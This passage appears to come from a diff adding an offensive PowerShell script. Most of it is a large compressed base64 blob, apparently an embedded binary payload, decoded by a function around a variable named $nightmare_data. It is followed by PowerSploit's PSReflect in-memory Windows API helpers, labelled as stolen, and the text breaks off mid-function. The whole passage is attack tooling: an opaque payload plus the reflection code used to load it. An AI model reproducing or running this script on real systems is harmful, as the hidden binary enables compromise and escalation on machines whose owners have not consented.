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") + + $nightmare_ms = New-Object System.IO.MemoryStream -ArgumentList @(,$nightmare_data) + $ms = New-Object System.IO.MemoryStream + $gzs = New-Object System.IO.Compression.GZipStream -ArgumentList @($nightmare_ms, [System.IO.Compression.CompressionMode]::Decompress) + $gzs.CopyTo($ms) + $gzs.Close() + $nightmare_ms.Close() + + return $ms.ToArray() +} + +######################################################## +# Stolen from PowerSploit: https://github.com/PowerShellMafia/PowerSploit +######################################################## + +######################################################## +# +# PSReflect code for Windows API access +# Author: @mattifestation +# https://raw.githubusercontent.com/mattifestation/PSReflect/master/PSReflect.psm1 +# +######################################################## + +function New-InMemoryModule { +<# +.SYNOPSIS +Creates an in-memory assembly and module +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None +.DESCRIPTION +When defining custom enums, structs, and unmanaged functions, it is +necessary to associate to an assembly module. This helper function +creates an in-memory module that can be passed to the 'enum', +'struct', and Add-Win32Type functions. +.PARAMETER ModuleName +Specifies the desired name for the in-memory assembly and module. If +ModuleName is not provided, it will default to a GUID. +.EXAMPLE +$Module = New-InMemoryModule -ModuleName Win32 +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] + [CmdletBinding()] + Param ( + [Parameter(Position = 0)] + [ValidateNotNullOrEmpty()] + [String] + $ModuleName = [Guid]::NewGuid().ToString() + ) + + $AppDomain = 